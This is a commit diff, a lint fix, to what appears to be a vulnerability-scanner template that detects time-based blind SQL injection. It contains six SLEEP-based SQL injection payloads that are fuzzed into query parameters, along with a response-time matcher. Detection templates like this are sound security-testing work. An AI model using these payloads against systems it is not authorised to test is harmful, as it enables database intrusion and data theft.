lint fix
parent
00557e335e
commit
f7993e9ccf
|
@ -3,31 +3,34 @@ id: time-based-sqli
|
|||
info:
|
||||
name: Time-Based Blind SQL Injection
|
||||
author: 0xKayala
|
||||
severity: Critical
|
||||
description: This Template detects time-based Blind SQL Injection vulnerability
|
||||
severity: critical
|
||||
description: |
|
||||
This Template detects time-based Blind SQL Injection vulnerability
|
||||
tags: sqli,dast,time
|
||||
|
||||
http:
|
||||
- method: GET
|
||||
path:
|
||||
- "{{BaseURL}}"
|
||||
- "{{BaseURL}}"
|
||||
|
||||
payloads:
|
||||
injection:
|
||||
- "(SELECT(0)FROM(SELECT(SLEEP(7)))a)"
|
||||
- "'XOR(SELECT(0)FROM(SELECT(SLEEP(7)))a)XOR'Z"
|
||||
- "' AND (SELECT 4800 FROM (SELECT(SLEEP(7)))HoBG)--"
|
||||
- "if(now()=sysdate(),SLEEP(7),0)"
|
||||
- "'XOR(if(now()=sysdate(),SLEEP(7),0))XOR'Z"
|
||||
- "'XOR(SELECT CASE WHEN(1234=1234) THEN SLEEP(7) ELSE 0 END)XOR'Z"
|
||||
- "(SELECT(0)FROM(SELECT(SLEEP(7)))a)"
|
||||
- "'XOR(SELECT(0)FROM(SELECT(SLEEP(7)))a)XOR'Z"
|
||||
- "' AND (SELECT 4800 FROM (SELECT(SLEEP(7)))HoBG)--"
|
||||
- "if(now()=sysdate(),SLEEP(7),0)"
|
||||
- "'XOR(if(now()=sysdate(),SLEEP(7),0))XOR'Z"
|
||||
- "'XOR(SELECT CASE WHEN(1234=1234) THEN SLEEP(7) ELSE 0 END)XOR'Z"
|
||||
|
||||
fuzzing:
|
||||
- part: query
|
||||
type: replace
|
||||
mode: single
|
||||
fuzz:
|
||||
- "{{injection}}"
|
||||
- "{{injection}}"
|
||||
|
||||
stop-at-first-match: true
|
||||
matchers:
|
||||
- type: dsl
|
||||
dsl:
|
||||
- "duration>=7 && duration <=16"
|
||||
- type: dsl
|
||||
dsl:
|
||||
- "duration>=7 && duration <=16"
|
||||
|
|
Loading…
Reference in New Issue